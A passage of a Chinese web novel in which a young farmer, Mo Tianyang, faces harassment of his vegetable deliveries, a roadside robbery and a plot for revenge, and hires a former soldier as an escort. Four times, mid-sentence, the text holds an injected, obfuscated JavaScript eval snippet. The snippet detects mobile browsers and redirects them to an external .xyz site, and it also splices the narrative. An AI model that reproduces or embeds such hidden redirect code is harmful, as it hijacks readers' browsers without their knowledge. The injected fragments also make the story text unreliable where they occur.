第二天，莫天扬正在瓜田里忙碌，张学涛的电话又来了，声音带着前所未有的凝重：“天扬！车又被扣了！就在刚才！这绝对是冲着咱们来的！我已经联系了王传林，他们那边也动用了关系，只要今天他们还敢开罚单，上面的人就会直接下来查！” “这群蛀虫！”莫天扬眼中寒光迸射，“就该把牢底坐穿！披着那身皮，干的尽是**饭不拉人屎的畜生勾当！” “王传林那边需要个由头，最好是有**……” “我来！”莫天扬斩钉截铁，“他们不就是冲着我来的吗？就用我的名义举报！” “天扬，你想清楚！这样一来，你可就彻底站在风口浪尖，以后怕是被他们盯死！” “怕什么？！”莫天扬冷笑一声，声音铿锵有力，“只要我莫天扬行得正坐得直，他们敢动歪心思，我就敢一层层往上告！告到他们吃不了兜着走！” “好！有你这句硬气话，我就知道怎么干了！等我消息！另外，王传林那边特派的车队已经在路上了，蔬菜直接装他们的车，后续我来对接！” 有货车过来装菜，虽说不是凌飞，可陈宏利他们也没有多想，唯独莫天扬一个人内心中无比愤怒。 下午，心头憋闷的莫天扬信步走到池塘边。水面波光粼粼，成群的半大鸭子和白鹅嬉戏追逐，搅动着碧绿的荷叶与盛放的粉荷，空气中弥漫着清甜的莲香。看着这生机勃勃的景象，他胸中的郁气似乎也被冲散了些许。 “天扬，中午看你心事重重的，怎么了？跟我说说。”一个清亮的声音自身后响起。 莫天扬回头，看到颜若曦正从菜地那头走来。她摘下遮阳的口罩，露出光洁的面容，阳光洒在她脸上，让莫天扬心头莫名地动了一下。 颜若曦很自然地在他身边的泥土地上坐下，一股淡淡的、属于女孩的馨香悄然钻入他的鼻腔。 他内心微澜，不禁有些感慨：这位城里来的姑娘，言谈举止透着良好的教养，用的手机、穿的衣服都价值不菲，却丝毫没有对农村的排斥，甚至能如此不拘小节地席地而坐，这份自然，连许多村里姑娘都比不上。 “没什么事。”莫天扬移开目光，望向水面。 “还没事？”颜若曦侧头看他，眼神关切，“心事都写在脸上了。峰叔他们不敢问，这里就我们两个，说出来，也许我能开解开解你？” 莫天扬摇头苦笑。凌飞今天去修车没来，但等他一来，扣车的事就瞒不住了。他索性将这两天货车接连被扣、货物被毁、执法刁难的事简单说了一遍。 “这群混蛋！”颜若曦听完，俏脸含霜，“他们怎么敢这么无法无天！” “这种事……哪里都有吧，”莫天扬语气低沉，“只是没落到自己头上，没人注意罢了。” “我开直播曝光他们！”颜若曦脱口而出。 莫天扬看着她义愤填膺的样子，心头微暖，但还是摇头：“你好好做你的直播，宣传咱们的菜就行。涛哥那边已经在想办法处理了。” 他不想把她卷进这滩浑水，随即转移了话题：“你出来也有些日子了，家里人不担心吗？好像没见你和他们联系？” 颜若曦闻言，忽然“噗嗤”一声笑了，眼波流转间，竟似蒙上了一层薄薄的水雾：“你呀，光顾着忙了！他们天天看我直播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038237|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢！怎么，嫌我在这儿碍事了？”那带着一丝委屈的尾音，让从未和女孩如此相处的莫天扬瞬间慌了神。 “不不不！我不是这个意思！”他连忙摆手解释，“我是怕你家里人惦记……” “青木村现在在网上可火了，”颜若曦收起那点促狭，认真道，“他们知道我在你这儿。而且，你这儿还有狼群守护呢！我爷爷都说，有机会真想搬来青木村养老，这里的空气太好了！” 莫天扬被她逗笑了：“那是夏天。等到了秋冬，寒风卷沙和刀子似的刮，村里人连门都不愿意出。” “天扬，”颜若曦话锋一转，杏目盈盈望着他，“你种菜确实能赚钱。可我听宏利他们说，你是南开毕业的高材生，就打算……一直留在农村种菜吗？” 莫天扬微微一怔，随即露出一丝苦涩的笑意：“刚毕业那会儿，我也想着找个好工作，带爷爷离开这片连粮食都难种的穷地方。可……后来发生了一些事，想法就变了。出去打工，累死累活，看人脸色，受尽排挤。想想，还不如留在村里，守着这片地，养养鱼。爷爷在这儿待了一辈子，他也不想走。” 颜若曦眼中闪过一丝了然，追问道：“南开可是顶尖学府，你在大学……就没交几个好朋友？我看你好像从来不看手机？” “我的情况，峰叔他们大概也提过吧？”莫天扬语气平静，“那时候除了上课，几乎所有时间都在打工。在班里，我大概就是个透明人，好些同学连我名字都叫不全。不过……宿舍里的几个兄弟对我很好，大学四年，全靠他们帮衬。” “只在宿舍？学校里也没朋友？” “没有。”莫天扬坦诚得近乎直白，“说句不好听的，我连我们系主任长什么样，可能都不记得。” 颜若曦不由得哑然失笑。这段时间，她心里一直有个小小的疑惑：这人是不是故意装作不认识自己？现在看来，这家伙是真的不认识！恐怕连“颜若曦”这个名字，在他听来也是陌生的。 她忽然扬起脸，眼神亮晶晶地看着他：“莫天扬，我给你打工吧！一个月……三千就行！” 莫天扬一愣，随即失笑：“开什么玩笑？他们都说你是百万粉丝的大网红，站着直播就能赚钱。再说，你家里能同意你待在这么个‘鸟不拉屎’的地方种菜？” “你就说行不行吧！”颜若曦不答，只固执地问。 莫天扬看着她认真的神情，点了点头：“行。你一直在帮我们宣传，愿意留下就留下。待遇跟宏利他们一样，一个月六千。哪天你想走了，随时。” “一言为定！”颜若曦瞬间笑靥如花，像个得了糖果的孩子般蹦跳起来，“我这就去告诉我爷爷！”她脚步轻快地跑远了。 莫天扬看着她雀跃的背影，无奈地摇摇头。然而，一丝疑惑悄然浮上心头：她刚才只提到了爷爷……她的父母呢？ 第八十五章他是老兵 夕阳西沉，余晖将青木山染上一层暗金。迟迟等不到张学涛电话，莫天扬心头像压了块石头，坐立难安。他不想让旁人看出异样，便带着大青和小白，默默走向菜地尽头那片靠近青木山的荒地。 多日无雨，荒地一片萧索。零星冒头的野草早已枯黄萎蔫，在暮色中瑟缩。没了人群的牵绊，小狼崽和小白撒开欢儿在荒地上追逐嬉闹。 “嗡嗡嗡——” 手机震动骤然响起！莫天扬几乎是瞬间掏出，看到屏幕上张学涛的名字，立刻接通：“涛哥！怎么样？那边什么情况？” “跟昨天一个德性！”张学涛的声音带着压抑不住的怒火，“那帮混蛋又撬开车厢，把蔬菜糟蹋得一塌糊涂！不过放心，沛川那边的人已经杀到了！所有参与这次扣车、撬车、毁货的王八蛋，一个不落，全被控制带走！这次非得连根拔起，让他们吃不了兜着走！天扬，你说这背后……” “安云飞！”莫天扬斩钉截铁，“除了他，没别人！” “莫老三那个刚放出来的大女婿？！”张学涛惊怒交加，“这狗东西！才几天就又出来作妖了！” “是他。不过他能这么快出来，背后肯定有人撑腰。他这么急着报复，想必这次学乖了，把自己摘得干净，让那些人当了替死鬼。”莫天扬冷静分析。 “这种渣滓，活该！敢这么干，想必也不是头一回了，就该让他们尝尝后果！”张学涛恨声道。 “人抓了就好。”莫天扬紧绷的心弦终于松弛下来。 “对了，这两天的损失，王传林他们发话了，货款还是按老规矩结给你……” “涛哥！”莫天扬打断他，语气坚决，“你这才是打我的脸！他们是冲我来的，损失怎么能让你们担？那我成什么人了？王哥他们帮我摆平这么大的事，我感激都来不及，哪能再占这便宜！” “行！听你的！”张学涛也不坚持，“我跟他们说了你那香瓜多绝，可惜这两天全让那帮孙子祸害了！明天多弄点，那边可都馋着呢！” 虽然损失了几万块，但祸首被揪出，沛川出手意味着严惩，莫天扬胸中块垒尽消，顿感畅快。 挂了电话，他也没招呼玩得正欢的大青和小白，独自一人走回简易房区。 “天扬！正找你呢，快吃饭！”众人招呼道。 刚坐下，胡振南眼神闪烁了几下，端起酒杯抿了一口，凑近莫天扬，压低声音：“天扬，刚才我去拿酒碰见二奎，他说……在县城看见胡亮跟莫栓在一块儿喝酒，勾肩搭背的，看着挺热乎。” 莫天扬的眼眸骤然一缩！莫栓？那个恶名昭彰的混子！他原想教训胡亮一顿，让他收敛点，没成想这蠢货竟一头扎进了莫栓那滩浑水里！ 这两人，一个对自己怀恨在心，一个跟自己早有旧怨。如今蛇鼠一窝凑到一起，接下来的报复，恐怕会更阴毒、更难防。 莫天扬面上不动声色，拿起筷子：“先吃饭。别管他们。” 莫天扬低头默默吃饭，颜若曦若有所思地注视了他片刻，杏眸中光芒流转，似乎下定了某种决心。 她简单扒拉了几口饭菜，便放下碗筷，拿起一个红润饱满的西红柿站起身：“大家慢吃，我出去透透气。” 众人**以为常，女孩子爱干净，出去走走很正常。何况有大青和小白在附近活动，安全无虞。 走到菜地边缘，颜若曦望了眼远处仍在轰鸣作业的工地，深吸了一口混合着泥土与蔬菜清香的空气，掏出手机，拨通了那个熟悉的号码。 “丫头，这都过去好些天了，打算什么时候回来看看我这老头子啊？”爷爷颜向军慈祥的声音传来。 “爷爷，”颜若曦声音带着一丝雀跃，“我决定留在青木村工作了，暂时不回去啦！” “什么？！”颜向军的声音陡然拔高，“你要留在那山沟沟里上班？你疯啦？” “我才没疯呢！”颜若曦咯咯笑起来，语气轻快，“这里多好啊！每天最新鲜的无公害蔬菜瓜果随便吃，自由自在没人管束，一个月还有六千块工资！上哪儿找这么好的工作去？” “你个疯丫头！”颜向军又好气又好笑，“自己好好的公司不管，跑去给别人打工？图啥？” “爷爷，我跟您说，这几天我可吃了不少宝贝！”颜若曦岔开话题，兴致勃勃，“好些东西见都没见过！这两天香瓜也熟了，那味道绝了！回头给您发照片馋馋您！” “先别扯这些，”颜向军语气严肃起来，“你真铁了心要留在那儿？” 颜若曦脸上的笑容敛去，声音也认真了几分：“嗯。莫天扬救过我的命。他现在刚开始创业，麻烦不断，总有人暗中使绊子。我想留下来帮他。” “还有人针对他？”颜向军声音沉了下来。 “几乎天天有事。您还记得上次那场风波吧？那个幕后指使，就背了个不痛不痒的小处分。这两天更过分，他的送菜车天天被扣，蔬菜被糟蹋得不成样子，还白白交了一万块罚款！”颜若曦语带不忿。 “那他……知道你的身份了？”颜向军试探着问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045915|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不知道，”颜若曦摇摇头，指尖无意识地划过西红柿光滑的表皮，“他连问都没问过。更离谱的是，他连我的名字都没听说过！爷爷，您说我是不是很失败呀？”她语气带着点自嘲的撒娇。 手机那头传来颜向军爽朗的大笑：“哈哈，看来我孙女还不够出名啊！要不要爷爷再帮你‘宣传宣传’？” “别！千万别！”颜若曦连忙阻止，“莫天扬想靠自己创业，不可能一帆风顺。他有他的骄傲，愿意帮人，却最不愿意欠人情。再说了，他身边也有几个靠得住的朋友，不会看着他被欺负不管的。” “行吧行吧，女大不中留，随你折腾。”颜向军无奈妥协，“那你那边缺什么？我让人给你送过去。” “什么都不缺！”颜若曦语气轻快，“他这里包吃包住，吃的喝的都特别好，连水都带着清甜味儿。我这几天连化妆品都省了，皮肤反而更好了呢！” “可那地方……终究太偏了。万一有人对你不利……”颜向军还是不放心。 “有大青在呢！”颜若曦安慰道，“而且菜地周围经常有青狼转悠，安全得很。对了爷爷，”她忽然想起什么，压低声音，“告诉您个事儿，莫天扬的爷爷……是个老兵。” “老兵？”颜向军随口应道。 “嗯！跟您一样，是1929年就参军的老**！参加过长征、抗日、解放战争！听村里人说，他是建国后才回到老家的。”颜若曦的语气带着敬意。 手机那头，突然陷入一片死寂。几秒后，颜向军的声音再次响起，带着一丝不易察觉的紧绷：“他……叫什么名字？” “莫啸。村里人都这么叫他。”颜若曦清晰地回答，随即又补充道，“说来也奇怪，莫天扬从小就没见过父母，村里人也说不清他父母到底出了什么事，甚至都没人见过。听老人讲，莫啸爷爷是二十多年前独自出去了一趟，回来时就抱着襁褓里的莫天扬……” “莫啸……你确定是莫啸？”颜向军的声音陡然拔高，带着难以置信的颤抖。 “确定啊。怎么了爷爷？您认识？”颜若曦听出了爷爷声音里的异样。 电话那头又是一阵长久的沉默，颜向军似乎在极力平复着什么。良久，他才用一种极力克制却依旧带着某种复杂情绪的声音缓缓道：“没……没事。爷爷只是……想起了一位故人，他也姓莫，是一位……老哥哥。不过……他早些年，就已经……牺牲了。”最后几个字，声音低沉下去，带着难以言喻的沉重和一丝……疑虑？ 第八十六章你是当兵的？ 本以为扣车风波平息后，送菜再不会出现什么变故。谁料第三天，凌飞的车刚出村子不到半小时，陈宏利就火急火燎地冲到了瓜田！ “天扬！出事了！”陈宏利气喘吁吁，“凌飞在国道岔路口那儿被人拦了！挨了打！菜也被抢走不少！” 正弯腰摘瓜的莫天扬猛地直起身，脸色瞬间阴沉：“凌飞人怎么样？！” “还不清楚！涛哥已经派人开车过去了！” “走！”莫天扬二话不说，扔下瓜急急火火就离开瓜地。 国道与通往青木村的坑洼土路交汇处，一片狼藉。莫天扬跳下拖拉机，疾步奔向凌飞的货车。货柜门被暴力撬开，里面原本码放整齐的蔬菜散落一地，明显被抢走了一大截。小李正满头大汗地试图修复变形的柜门。 “小李！凌飞人呢？”莫天扬声音急促。 “凌哥被涛哥直接送县医院了！”小李抹了把汗。 “伤得重不重？” “万幸！都是皮外伤，没伤筋动骨！”小李赶紧补充。 莫天扬紧绷的心弦稍松，但当他走到车头前，眼神骤然冰冷！挡风玻璃完全碎裂，蛛网状的裂痕触目惊心。驾驶室外的泥地上，一滩暗红的血迹尚未干透，无声地诉说着刚才的暴力。 “小李，凌飞看清是什么人干的吗？”莫天扬的声音像淬了冰。 “他说有十来个人！都戴着口罩、墨镜，看不清脸，年纪感觉不大！上来二话不说就砸车、**、抢菜！凌哥根本招架不住！”小李心有余悸。 莫天扬深吸一口气，一股怒火在胸腔翻腾。爷爷的话在耳边回响——树大招风！青木村蔬菜的名声太响，终究引来了这些不学无术的豺狼！ “报警了吗？” “凌哥第一时间就报了！可我们都到这儿半天了，鬼影子都没见一个！”小李语气里满是愤懑和无奈。 莫天扬眉头紧锁。想到这段时间因青木村的事，县里有些人受了处分甚至丢了饭碗，这磨蹭的态度……倒也在意料之中。 “宏利，你留在这儿等警察，盯紧点！我去县医院看凌哥！”莫天扬当机立断。 浅驼县医院门口，莫天扬脚步沉重。这才多久？自己已是第三次踏进这里，每一次都因他而起，却伤在别人身上。 急诊室的红灯刺眼，让他瞬间想起了王海龙母子……不知那位老人如今怎样了。 “天扬？你怎么来了？”张学涛的声音从走廊传来。 “凌哥怎么样了？”莫天扬迎上去。 “检查完了，皮外伤，问题不大，在病房休息几天就好。”张学涛拍拍他肩膀，随即脸色凝重地压低声音，“天扬，这事不对劲！以前是听说过抢货的，可这些年早消停了。偏偏这时候……你不觉得太巧了？” 莫天扬眼神一凛：“涛哥，你怀疑……有人指使？” “对！”张学涛斩钉截铁。 “也可能是青木村蔬菜太出名，价格传开了，那些混混红了眼……”莫天扬分析道，“从村里到国道那段破路，太偏僻，真要有人惦记，防不胜防。除非……以后派人押车。” “有道理。”张学涛沉吟，“不过……天扬，你觉得会不会是安云飞那小子搞的鬼？报复你？” 莫天扬果断摇头：“安云飞好歹是吃官家饭的，不至于用这种下三滥的手段。”他脑中忽然闪过昨天胡振南的话——胡亮和莫栓混在一起！但念头刚起，又被他迅速压下：胡亮虽浑，可这种明火执仗拦路**的胆子……他应该还没有。 探望了病房里的凌飞，确认他无碍后，莫天扬待了一会儿便起身告辞。刚走到楼梯口，一个带着激动和难以置信的声音在身后响起： “恩人？是您吗？” 莫天扬脚步一顿，循声回头。只见王海龙提着一个旧饭盒站在那里，脸上刻满风霜，身上的衣服洗得发白，但那挺拔如松、如同标枪般笔直的身躯，却透着一股难以掩盖的刚毅。那是一种烙印在骨子里的姿态——军人！ “海哥！”莫天扬迎上两步，“阿姨怎么样了？” “多亏了您！”王海龙眼中充满感激，“手术很成功，恢复得挺好，医生说这两天就能出院回家静养了。恩人，等我妈安顿好，我就出去打工，一年之内，一定把您借的钱还清！”他的声音斩钉截铁。 莫天扬摆摆手：“阿姨没事就是最大的好消息。钱的事不急，我叫莫天扬，别叫恩人了，叫我天扬就行。”他目光落在王海龙挺拔的身姿上，直接问道：“海哥，你当过兵吧？” 王海龙黝黑的脸庞掠过一丝窘迫和苦涩：“嗯，当过，还是特种兵。空有一身本事……到头来也只能在工地卖力气。”话语里带着深深的自嘲和无奈。 “特种兵？！”莫天扬心头猛地一跳！刚才和张学涛还在为护送发愁，眼前这位不正是送上门的最佳人选？ “海哥，你现在外面打工，一个月能挣多少？”莫天扬顺势问道。 王海龙苦笑：“早上六点干到晚上七点，一个月……一千八。好在工地管饭，省着点，能攒下一千五还您。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046607|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那阿姨和嫂子……” “家里还有几亩薄田，开销不大，勉强够糊口。”王海龙声音低沉。 莫天扬心里飞快盘算了一下：“海哥，青木村，听说过吗？” “青木山下的那个穷村子？”王海龙眼神微动，“听说地都沙化了？不过今年出了个能人，硬是在沙地里种出了无公害蔬菜！现在火得不得了，听说有钱都难买！叫……莫天扬？”他猛地顿住，惊愕地看向眼前人，“您……您就是……” 莫天扬点点头：“对，就是我。青木村现在需要送菜的司机兼押运。管吃管住，一个月……我给你四千。愿意来吗？” “四……四千？！”王海龙身体猛地一震，眼中瞬间爆发出难以抑制的光彩，“您……您说的是真的？！”这个数字对他而言，简直是天降甘霖。 “千真万确。”莫天扬正色道，“不过有件事得说清楚，路上可能会遇到些不长眼的小混混拦车抢菜，有风险。” 王海龙一听，紧绷的肩膀反而松弛下来，脸上露出一丝军人特有的冷峻和自信：“就这个？十个八个**贼，我还不放在眼里！只是……您真能做主？”他仍有疑虑。 这话让莫天扬心头一喜，更添了几分把握：“我就是老板，当然能做主！海哥，你身手这么好，能不能再找两个可靠的战友？这样你们也能轮换，有个照应。” “没问题！”王海龙毫不犹豫，“我有两个过命的兄弟，身手都不比我差！不过他们在外地，赶过来得几天。我这边也得安顿好我妈……” “不着急，先照顾好阿姨。”莫天扬语气诚恳，“钱不够随时跟我说。” “够！您给的还有剩！”王海龙连忙道，“等安顿好家里，我立马给您打电话！” “好！我回去就给你们安排住处。人一定要可靠！咱们做的是正经买卖，不沾违法的事，也容不下偷奸耍滑的。”莫天扬强调道。 王海龙挺直腰板，神情肃然：“我用这条命担保！我找来的人，绝对靠得住！” “那就这么说定了！”莫天扬露出笑容，“人到就行，带身换洗衣服，被褥我这都有。” 离开医院大楼，温暖的阳光洒在身上。莫天扬深吸一口气，只觉得连日来的阴霾一扫而空，心情豁然开朗！真是踏破铁鞋无觅处！一次善意的援手，竟为他招来了一个特种兵！一个王海龙或许对付十多个亡命徒吃力，但若是三个配合默契的特种兵……那些拦路的小**贼，恐怕连塞牙缝都不够！ 第八十七章护送 送菜车被劫、司机被打进医院的消息，像一颗**在青木村炸开！恐慌迅速蔓延。以往熙熙攘攘的菜地，今天气氛截然不同。 那些前来买菜、参观的人群，脸上没了笑容，取而代之的是惊疑和不安。下午刚过，人们就开始陆续离开，仿佛怕沾上什么霉运。太阳还没完全西沉，菜地周围已是人影稀疏，一片冷清。 闲下来的村民**在卖饭的帐篷下乘凉，但往日的欢声笑语消失了，空气沉闷得令人窒息。 当莫天扬和陈宏利的身影出现时，所有人都像找到了主心骨，呼啦一下围了上来：“天扬！人抓着没？”“执法队怎么说？” 莫天扬（从医院出来后并未直接回村，而是去执法部门与陈宏利汇合）沉着脸，指了指帐篷：“进里面说。” 众人跟着挤进帐篷，目光灼灼地盯着他俩。“宏利，你跟大家说说情况。”莫天扬示意。 陈宏利叹了口气，语气带着无奈：“执法队的人去了现场，拍了些照片。可那路段……一个监控探头都没有！他们说线索太少，查起来困难，让咱们……回来等消息。” “等消息？！”有人顿时炸了，“他们找茬的时候来得比谁都快！现在出了这么大的事，就一句‘等消息’？他们干什么吃的！” “天扬，”颜若曦清亮的声音穿透沉闷的空气，她看向莫天扬，眼神敏锐，“我问过峰叔他们了，沛川这些年治安不错，拦路**这种事几乎绝迹。今天突然冒出来，还精准抢我们的菜车……你不觉得这太蹊跷了吗？” 莫天扬心头一震。颜若曦虽然来村里时间不长，但这洞察力确实远超旁人，一针见血地点出了问题核心。 “青木村现在风头太盛，”莫天扬稳住心神，分析道，“菜价高，名声大，难免招人眼红。也许是些不长眼的混混，见钱眼开了。” “会不会是……胡亮？”陈宏利犹豫着，说出了那个压在众人心头的名字。 话音一落，帐篷里瞬间死寂！所有人的目光，齐刷刷地转向胡标和胡振南父子。胡标的脸色“唰”地变得惨白，胡振南也攥紧了拳头，父子俩的神情难看到了极点！胡亮是他们的亲侄子（堂兄弟），什么德性他们最清楚——从小被惯坏，睚眦必报！就算他本人没胆子，跟着他的那群小混混呢？ “今天……谁见过胡亮？”胡标的声音干涩沙哑。 “爹，”胡振南低声道，“中午碰见大伯，他说胡亮……从昨天出去到现在都没着家！不是说他昨天跟莫栓在县城喝酒吗？” “这个混账东西！”胡标猛地一拍桌子，气得浑身发抖，“要真是他干的，我……我打断他的腿！” 作为一村之长，他做梦都盼着青木村好起来。如今好不容易有了莫天扬这根顶梁柱，让乡亲们看到了希望，要是毁在自己亲侄子手里……他这张老脸往哪搁？以后在村里还怎么抬头？ “爹，”胡振南声音沉重，“执法队说了，这次抢的菜价值不菲，够得上犯罪了！要是坐实……得蹲大牢的！” 看着胡标痛苦纠结、瞬间苍老的脸庞，莫天扬深吸一口气，沉声道：“标叔，各位！现在都只是猜测，没有真凭实据。这种话，大家千万别往外传！胡亮再浑，也是咱青木村的人。要是让他知道咱们在背后这么议论，只怕麻烦更大！” “那……明天送菜怎么办？”有人忧心忡忡地问。 莫天扬目光扫过陈宏利、曹克雄、胡振南、莫红兵，语气斩钉截铁：“明天，我、宏利、克雄、振南、红兵，我们五个！再加上大青！一起把货车护送到国道！只要车上了平坦的国道，速度提起来，他们就不敢再拦！” “行！”陈宏利四人几乎异口同声，没有丝毫犹豫。他们和莫天扬从小滚泥巴长大，这份交情自不必说。更何况还有大青这尊“煞神”压阵，心里踏实多了。 莫天扬点点头，给大家吃定心丸：“放心，这只是暂时的。过几天，会有专门的安保人员过来负责押运。” “是王哥他们派的人？”陈宏利问。 “不是，”莫天扬露出一丝宽慰的笑容，“是我新找的人，是退役军人，身手好，人品也靠得住。” “天扬，是你朋友？”有人好奇追问。 想到王海龙母子的困境，莫天扬轻叹一声：“路上偶然遇见的，也是个苦命人。年纪比咱们大点，跟二虎他们差不多。人很实在，到时候人家来了，大伙儿多照应着点，别让人家觉得生分。” 尽管劫车的阴影仍在，但莫天扬有了应对之策，众人紧绷的神情也缓和不少。曹慧站起身：“你们聊着，我去张罗晚饭。” 她来这几天，吃住无忧，每月还有工钱拿，加上姑姑曹建华在村里的人缘，大家都对她格外关照。她心情好了，人也显得精神，气色明显红润起来，脸上常挂着笑。 “我们也去搭把手！”陈峰、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051171|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹建华等人也起身，跟着进了厨房。 夜色如墨，笼罩四野。吃过晚饭，人们陆续散去。莫天扬先去爷爷房外看了看，低声叮嘱大青守好，这才回到自己房间，带着小白进入灵泉空间。 空间里，莫天扬一反常态地没有立刻采摘蔬菜。他挽起袖子，开始动手搭建新的种植平台。 这个念头，自那天尝过香瓜的极致美味后便在他心中生根发芽。外界的香瓜已是人间极品，若能在这神奇的灵泉空间种上一批，品质岂非更胜“仙品”？还有西瓜！只需短短几日，空间就能催生它们成熟，延续瓜田的传奇，为他积累更多资金。唯一辛苦的是，空间里所有劳作，都得靠他这双手亲力亲为。 东方天际刚泛起鱼肚白，昨夜忙碌到很晚的莫天扬便已起身。他带着大青、小白和小狼崽踏入菜地。将昨夜在空间摘好的西红柿、黄瓜、茄子、豆角、青椒悄然替换进菜畦后，他便一头扎进了瓜田，开始采摘那弥漫香味成熟的香瓜。 当东方的鱼肚白渐渐染上橘红的霞光，送菜的货车准时进村。人们迅速装车。待货车启动离开时，陈宏利发动了拖拉机，莫天扬、曹克雄、胡振南、莫红兵四人，连同威风凛凛的大青，一同跃上车斗。 或许是五人一犬的护送阵容起了震慑作用，货车一路畅通无阻地驶上了国道。看着货车加速汇入车流，莫天扬一行这才掉转车头，颠簸着返回青木村。 就在他们离开后不久，那片莫天扬常去的洼地里，十几道身影骂骂咧咧地站了起来，个个戴着口罩帽子。他们死死盯着远去的拖拉机，眼中喷火，满是懊恼和不甘。 “妈的！这王八蛋怎么知道咱们今天还在这儿等着？”一个瘦高个狠狠啐了一口。 “废话！”一个粗嗓门骂道，“昨天刚抢了他一车菜还揍了人，执法队屁都不放一个，他傻啊？能不派人护着？！” “哎，头儿，执法队那边真不管了？”有人疑惑地问。 “哼，”一个看似领头的阴恻恻道，“他得罪了大人物！上面有人发话了，只要是青木村莫天扬的事，能拖就拖，能糊弄就糊弄！走吧，回去喝酒去！晦气！” “这就走了？不等等下一趟了？”有人还不死心。 “等个屁！”领头的不耐烦地挥手，“一会儿去青木村的车越来越多，怎么下手？昨天的‘货’卖了不少钱，够兄弟们快活几天了！今天算他走运！” 第八十八章心痛 虽然送货、摘菜辛苦了些，但能确保蔬菜平安送达，不仅莫天扬松了口气，连陈宏利四人也都觉得值了。 接下来的日子，酿酒设备和所需的珍稀药草陆续到位。莫天扬虽早已将“屠苏”和“凝露”的酿造秘方烂熟于心，但终究是纸上谈兵。他像儿时跟着爷爷学厨艺一样，恭敬地侍立在莫啸身旁，准备从头学起。 当莫啸开始按照“屠苏”的古方动手酿造时，陈宏利等人看得一头雾水。然而，莫天扬心头却掀起了惊涛骇浪！ 爷爷曾说自己酿的不过是些寻常土酒，莫天扬也反复研读过古方。可此刻，亲眼看着爷爷操作，他才惊觉——每一道繁复的工序，在莫啸那双枯瘦却异常稳健的手下，竟显得行云流水般自然！ 那精准的火候掌控、药草投放的时机、搅拌的韵律，几乎与他脑海中无数次推演的画面严丝合缝！一股强烈的陌生感瞬间攫住了莫天扬：眼前这深藏不露的老人，真的是他熟悉的爷爷吗？ 夜幕低垂，笼罩四野。临时搭建的餐厅里，却灯火通明，欢声笑语伴着饭菜香气不断飘出。菜地欣欣向荣，鱼塘蟹池生机勃勃，上千只鸡鸭鹅在圈里喧闹——虽然鱼蟹禽类还未见收益，但这份蓬勃的希望已足够点燃所有人的热情。 如今莫天扬又开始尝试古法酿酒，更让大伙儿对未来充满了无限憧憬！春夏种菜，秋冬酿酒，一年四季都有奔头。就按现在的工钱算，一年稳稳当当三四万块！这光景，搁在以前，他们连想都不敢想！ 莫天扬家里气氛热烈，充满希望。与此同时，县城一家饭店油腻腻的包厢内，却是另一番景象。十多个面红耳赤、满身酒气的人围坐一团，空气污浊不堪。 “栓哥，这几天莫天扬那帮人跟铁桶似的护着车，兄弟们根本靠不上边儿！”一个小弟抱怨道。 莫栓眼中闪过一丝阴鸷的恨意。那天在街上偶遇胡亮，得知这个被莫天扬当众羞辱的同村人，两人瞬间找到了共同敌人。拦路抢菜卖钱，既能打击莫天扬，又能捞一笔，正是他们一拍即合的毒计。 第一次得手卖了几千块，让他们尝到了甜头。可第二天，莫天扬带着那条煞神般的大青狼亲自押车，让他们的美梦瞬间破灭。 “亮子，”莫栓的声音带着刻骨的怨毒，他转向醉眼惺忪的胡亮，“莫天扬那小畜生害得我家破人亡！他当着几百号人的面让你下不来台，这口恶气，你真能咽下去？” “砰！”胡亮猛地一拍桌子，酒液四溅，脸色阴沉得能滴出水：“他害得我在村里抬不起头！现在走到哪都被人戳脊梁骨！老子恨不得扒了他的皮！”胡亮一发泄，他带来的那群小混混也立刻跟着叫嚣起来，包厢里充斥着污言秽语。 看着这群被酒精和仇恨点燃的乌合之众，莫栓眼底深处掠过一丝不易察觉的得逞光芒。他深吸一口烟，缓缓吐出道：“他们防得严实，抢菜是没戏了。不过……咱们得不到的，他也别想安安稳稳靠这个发财！” 胡亮眯起醉眼：“他以前就是个怂包软蛋！现在仗着有几个臭钱就翻脸不认人！就得让他重新变成穷光蛋！栓子，你说，怎么干？” 